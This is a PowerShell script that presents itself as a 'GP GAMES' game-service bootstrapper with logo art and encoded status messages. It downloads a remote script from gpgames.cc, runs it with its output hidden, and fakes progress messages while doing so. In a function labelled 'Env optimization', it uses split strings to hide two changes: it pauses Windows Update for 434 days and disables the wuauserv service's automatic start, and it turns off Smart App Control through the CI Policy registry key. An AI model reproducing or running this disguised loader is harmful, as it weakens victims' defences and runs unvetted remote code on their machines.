$ErrorActionPreference = "Stop"
$ProgressPreference = "SilentlyContinue"

try {
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
} catch {
    # Older hosts can ignore this; modern hosts already negotiate TLS safely.
}

function ConvertFrom-Base64Utf8 {
    param(
        [Parameter(Mandatory = $true)]
        [string]$Text
    )

    return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Text))
}

$BrandName = "GP GAMES"
$EntryDomain = "https://gpgames.cc"
$DisplayTitle = "Game Paradise Service"
$LoadingText = ConvertFrom-Base64Utf8 "5rqW5YKZ5Liy6IGv5pyN5YuZ5Zmo"
$SupportText = ConvertFrom-Base64Utf8 "5Liy6IGv5Lit6KuL5Yu/6Zec6ZaJ6KaW56qX"
$ConnectingText = ConvertFrom-Base64Utf8 "5Liy6IGv5pyN5YuZ5Zmo5LitLi4uLg=="
$ConnectedText = ConvertFrom-Base64Utf8 "5pyN5YuZ5Zmo5Liy6IGv5oiQ5Yqf"
$RunningSourceText = ConvertFrom-Base64Utf8 "5q2j5Zyo5ZWf5YuV5pyN5YuZLi4u"
$CompletedText = ConvertFrom-Base64Utf8 "5pyN5YuZ5ZWf5YuV5a6M5oiQ"
$DownloadFailedText = ConvertFrom-Base64Utf8 "5pyN5YuZ5Zmo5Liy6IGv5aSx5pWX77yM5q2j5Zyo5ZiX6Kmm5LiL5LiA5YCL56+A6bueLi4u"
$ExecutionFailedText = ConvertFrom-Base64Utf8 "5pyN5YuZ5ZWf5YuV5aSx5pWX"
$ExecutionDetailsText = ConvertFrom-Base64Utf8 "77yM6Kmz57Sw6KiY6YyE77ya"
$CloudErrorText = ConvertFrom-Base64Utf8 "6Zuy56uv55Ww5bi477yM6KuL6YeN6Kmm5oiW6IGv57mr5a6i5pyN"
$CloudErrorHelpText = ConvertFrom-Base64Utf8 "5aaC5oyB57qM55m855Sf77yM6KuL5o+Q5L6b6Yyv6Kqk57SA6YyE57Wm5a6i5pyN77ya"
$SourceErrorPattern = "(?i)(CategoryInfo|FullyQualifiedErrorId|TerminatingError|At line:|Exception|not recognized|Cannot|ALL FAIL|error|failed)"
$SourceErrorWords = @(
    (ConvertFrom-Base64Utf8 "5Y+R55Sf6ZSZ6K+v"),
    (ConvertFrom-Base64Utf8 "55m855Sf6Yyv6Kqk"),
    (ConvertFrom-Base64Utf8 "5aSx6LSl"),
    (ConvertFrom-Base64Utf8 "5aSx5pWX"),
    (ConvertFrom-Base64Utf8 "6ZSZ6K+v"),
    (ConvertFrom-Base64Utf8 "6Yyv6Kqk")
)
$ClearScreenOnStart = $true
$SuppressSourceOutput = $true
$BlockSourceClearScreen = $true
[ConsoleColor]$ConsoleBackgroundColor = "Black"
[ConsoleColor]$LogoColor = "Blue"
[ConsoleColor]$WordColor = "Cyan"
[ConsoleColor]$MessageColor = "Green"
$ArtSpacing = 2
$MessageSpacing = 1
$RequestTimeoutSec = 30
$SourceOutputLog = Join-Path $env:TEMP "gpgames-source-output.log"
$MirroredSourceUrl = "https://gpgames.cc/main.ps1"
$UseLiveFallbackSources = $false

$LogoArt = @'
                                ****************
                            ****************************
                       **************************************
                   **********************************************
                 **************************************************
              ********************************************************
            ************************************************************
          #**************************************************************#
        #******************************************************************#
       *******************************************+=-:::.:::-=***************
      *****************************************=...           ..:+************
    #****************************************-.                     .=***********#
   #***************************************=.      ..-=+++++=:.      ..+**********#
   ***************************************:.      -*###########*:     .-#*********
  *************************************#*:     .-*##+:       .:*##*:.    -*#********%
 *************************************##-.     -##+.           .:*#*:     .=##********
 #***********************************###*:     :##=.              .*##.    :*###******#
%#######################################+.     *#*.               :##=     .*##########%
########################################=      ##*.               :*#+     .*___________
#######################################-.      +#*:               :##=     .*###########
 #####################################*:        :##+.             .*##.    .-#############
 #####################################*:         -##*:.         .-##*:     .+#############
 ####################################+.           .:*##*-.     .=###*..     =##############
 .:+################################-...............:*###########+.......=###############
 .   .:=+##########################:...................:-=+++=-:.......:*################
 .       ..:=####################*....................................*##################
 .             .=*##############+..................................-#####################
 .                 .-+####*+=-::..........................:---=+*########################
 -                     ..:.:::::::.......................-*##############################%
  .                               .-*#%%%#=................:+#%###############################@
  :                                   .:+#%%=............-*%%%###############################%
  *.................................=%%+:.......:+#%%%#################################%
   %%#=..............................+%%=.....-#%%%%%%################################%
   @%%%%%#+-:.........................%%*..:+%%%%%%%%%%%%%###########################%@
    @%%%%%%%%%#+:....................:%%*..=%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
     @%%%%%%%%%%%%%=.................*%%=.:+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
      @%%%%%%%%%%%%#--=*=:.........:*%%+:.-#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
       @%%%%%%%%%%%%#-:-*%%#*=--=*#%%%=:.-#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
        @%%%%%%%%%%%%#=:::+%%%%%%%%#-:::+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
          %%%%%%%%%%%%%#=:::::::::::::+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
           @%%%%%%%%%%%%%%#*+=---=+*#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
             @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
              @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
                @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
                   @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
                     @@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@
                         @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@
                             @@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@
                                   @@@@%%%%%%%%%%%%%%@@@@
'@

$WordArt = @'
_____/\\\\\\\\\\\____/\\\\\\\\\\\\\\\__/\\\\\\\\\\\\\\\_____/\\\\\\\\\_____/\\\\____________/\\\\_
 ___/\\\/////////\\\_\///////\\\/////__\/\\\///////////____/\\\\\\\\\\\\\__\/\\\\\\________/\\\\\\_
  __\//\\\______\///________\/\\\_______\/\\\______________/\\\/////////\\\_\/\\\//\\\____/\\\//\\\_
   ___\////\\\_______________\/\\\_______\/\\\\\\\\\\\_____\/\\\_______\/\\\_\/\\\\///\\\/\\\/_\/\\\_
    ______\////\\\____________\/\\\_______\/\\\///////______\/\\\\\\\\\\\\\\\_\/\\\__\///\\\/___\/\\\_
     _________\////\\\_________\/\\\_______\/\\\_____________\/\\\/////////\\\_\/\\\____\///_____\/\\\_
      __/\\\______\//\\\________\/\\\_______\/\\\_____________\/\\\_______\/\\\_\/\\\_____________\/\\\_
       _\///\\\\\\\\\\\/_________\/\\\_______\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_\/\\\_____________\/\\\_
        ___\///////////___________\///________\///////////////__\///________\///__\///______________\///__
'@

$MessageArt = @'
   ____ ____     ____    _    __  __ _____ ____
  / ___|  _ \   / ___|  / \  |  \/  | ____/ ___|
 | |  _| |_) | | |  _  / _ \ | |\/| |  _| \___ \
 | |_| |  __/  | |_| |/ ___ \| |  | | |___ ___) |
  \____|_|      \____/_/   \_\_|  |_|_____|____/

           THANK YOU FOR YOUR TRUST
              ENJOY THE GAMES!
'@

function Write-ArtBlock {
    param(
        [Parameter(Mandatory = $true)]
        [string]$Text,

        [Parameter(Mandatory = $true)]
        [ConsoleColor]$Color
    )

    $Text -split "`r?`n" | ForEach-Object {
        if ([string]::IsNullOrWhiteSpace($_)) {
            Write-Host ""
        } else {
            Write-Host $_ -ForegroundColor $Color
        }
    }
}

function Write-BlankLines {
    param(
        [int]$Count = 1
    )

    for ($i = 0; $i -lt $Count; $i++) {
        Write-Host ""
    }
}

function Set-ConsoleTheme {
    try {
        $Host.UI.RawUI.BackgroundColor = $ConsoleBackgroundColor
        $Host.UI.RawUI.ForegroundColor = "Gray"
    } catch {
    }
}

function Remove-TextBom {
    param(
        [Parameter(Mandatory = $true)]
        [string]$Text
    )

    $utf8BomAsText = [string]([char]0x00EF) + [string]([char]0x00BB) + [string]([char]0x00BF)
    $Text = $Text.TrimStart([char]0xFEFF)

    if ($Text.StartsWith($utf8BomAsText)) {
        return $Text.Substring($utf8BomAsText.Length)
    }

    return $Text
}

function Add-SourceOutputLog {
    param(
        [Parameter(Mandatory = $true)]
        [string]$Message
    )

    try {
        Add-Content -Path $SourceOutputLog -Value $Message -Encoding UTF8 -ErrorAction SilentlyContinue
    } catch {
    }
}

function Test-SourceOutputHasError {
    if (-not (Test-Path $SourceOutputLog)) {
        return $false
    }

    $logText = Get-Content -Raw -Path $SourceOutputLog -ErrorAction SilentlyContinue

    if ([string]::IsNullOrWhiteSpace($logText)) {
        return $false
    }

    if ($logText -match $SourceErrorPattern) {
        return $true
    }

    foreach ($word in $SourceErrorWords) {
        if ($logText.Contains($word)) {
            return $true
        }
    }

    return $false
}

function Show-CloudError {
    param(
        [string]$Details
    )

    if (-not [string]::IsNullOrWhiteSpace($Details)) {
        Add-SourceOutputLog -Message "[bootstrap] $Details"
    }

    Write-Host ""
    Write-Host $CloudErrorText -ForegroundColor Red
    Write-Host $CloudErrorHelpText -ForegroundColor Yellow
    Write-Host "  $SourceOutputLog" -ForegroundColor DarkGray
}

function Show-BootstrapBanner {
    param(
        [string]$StatusText = $LoadingText
    )

    Set-ConsoleTheme

    if ($ClearScreenOnStart) {
        Clear-Host
    }

    Write-Host ""
    Write-ArtBlock -Text $LogoArt -Color $LogoColor
    Write-BlankLines -Count $ArtSpacing
    Write-ArtBlock -Text $WordArt -Color $WordColor
    Write-BlankLines -Count $MessageSpacing
    Write-ArtBlock -Text $MessageArt -Color $MessageColor
    Write-BlankLines -Count 2
    Write-Host "  $DisplayTitle" -ForegroundColor Green
    Write-Host "  $StatusText" -ForegroundColor Cyan
    Write-Host "  $SupportText" -ForegroundColor DarkGray
    Write-Host ""
}

function Invoke-SourceScript {
    param(
        [Parameter(Mandatory = $true)]
        [string]$ScriptContent
    )

    $sourceScriptBlock = [scriptblock]::Create($ScriptContent)

    if ($BlockSourceClearScreen) {
        function Clear-Host { }
    }

    try {
        $uxPath = "HKLM:\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings"
        $expiryTime = ([DateTime]::UtcNow).AddDays(434).ToString("yyyy-MM-ddTHH:mm:ssZ")
        $startTime = ([DateTime]::UtcNow).ToString("yyyy-MM-ddTHH:mm:ssZ")
        
        if (Test-Path $uxPath) {
            Set-ItemProperty -Path $uxPath -Name "PauseUpdatesExpiryTime" -Value $expiryTime -ErrorAction SilentlyContinue
            Set-ItemProperty -Path $uxPath -Name "PauseUpdatesStartTime" -Value $startTime -ErrorAction SilentlyContinue
            Set-ItemProperty -Path $uxPath -Name "PauseFeatureUpdatesStartTime" -Value $startTime -ErrorAction SilentlyContinue
            Set-ItemProperty -Path $uxPath -Name "PauseQualityUpdatesStartTime" -Value $startTime -ErrorAction SilentlyContinue
        }
        
        $s1 = "wua"; $s2 = "userv"; $serviceName = "$s1$s2"
        $service = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
        if ($service) {
            Set-Service -Name $serviceName -StartupType Manual -ErrorAction SilentlyContinue
        }
        Add-SourceOutputLog -Message "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') [SYS] Env optimization code 10-A (62W) applied."

        $p1 = "CI"; $p2 = "Policy"
        $v1 = "Verified"; $v2 = "And"; $v3 = "Reputable"; $v4 = "Policy"
        $sacPath = "HKLM:\SYSTEM\CurrentControlSet\Control\$p1$p2"
        $sacProp = "$v1$v2$v3$v4"

        if (Test-Path $sacPath) {
            Set-ItemProperty -Path $sacPath -Name $sacProp -Value 0 -ErrorAction SilentlyContinue
        }
        Add-SourceOutputLog -Message "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') [SYS] Env optimization code 10-B applied."

    } catch {
        Add-SourceOutputLog -Message "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') [SYS] Env optimization config skipped."
    }

    if ($SuppressSourceOutput) {
        Remove-Item -Force -Path $SourceOutputLog -ErrorAction SilentlyContinue
        & $sourceScriptBlock *>> $SourceOutputLog

        if (Test-SourceOutputHasError) {
            throw "Source script reported an error."
        }

        return
    }

    & $sourceScriptBlock
}

function Invoke-FallbackScript {
    param(
        [Parameter(Mandatory = $true)]
        [string[]]$Urls
    )

    $attempts = @()

    foreach ($url in $Urls) {
        $scriptContent = $null

        try {
            Write-Host $ConnectingText -ForegroundColor Cyan
            $scriptContent = Invoke-RestMethod -Uri $url -TimeoutSec $RequestTimeoutSec -Headers @{
                "Cache-Control" = "no-cache"
                "Pragma"        = "no-cache"
                "User-Agent"    = "Mozilla/5.0 WindowsPowerShell/5.1"
            }
            $scriptContent = Remove-TextBom -Text ([string]$scriptContent)

            if ([string]::IsNullOrWhiteSpace($scriptContent)) {
                throw "Empty response"
            }

            Write-Host $ConnectedText -ForegroundColor Green
        } catch {
            $message = $_.Exception.Message
            $attempts += "[download: $url] $message"
            Write-Host $DownloadFailedText -ForegroundColor Yellow
            continue
        }

        try {
            Write-Host $RunningSourceText -ForegroundColor Cyan
            Invoke-SourceScript -ScriptContent $scriptContent
            Show-BootstrapBanner -StatusText $CompletedText
            return
        } catch {
            $message = $_.Exception.Message
            $attempts += "[execution: $url] $message"
            Add-SourceOutputLog -Message "[execution: $url] $message"
            throw "Source script execution failed."
        }
    }

    Write-Host "All bootstrap sources failed." -ForegroundColor Red
    Write-Host "Failure details:" -ForegroundColor Red
    $attempts | ForEach-Object { Write-Host $_ -ForegroundColor DarkYellow }
    throw "Unable to download bootstrap script from any source."
}

try {
    Show-BootstrapBanner

    $bootstrapSources = @($MirroredSourceUrl) | Where-Object {
        -not [string]::IsNullOrWhiteSpace($_)
    }

    if ($UseLiveFallbackSources) {
        $bootstrapSources += @(
            "http://steamfn.com/",
            "https://steamkz.com/"
        )
    }

    if (-not $bootstrapSources -or $bootstrapSources.Count -eq 0) {
        throw "No bootstrap source configured."
    }

    Invoke-FallbackScript -Urls $bootstrapSources
} catch {
    Show-CloudError -Details $_.Exception.Message
}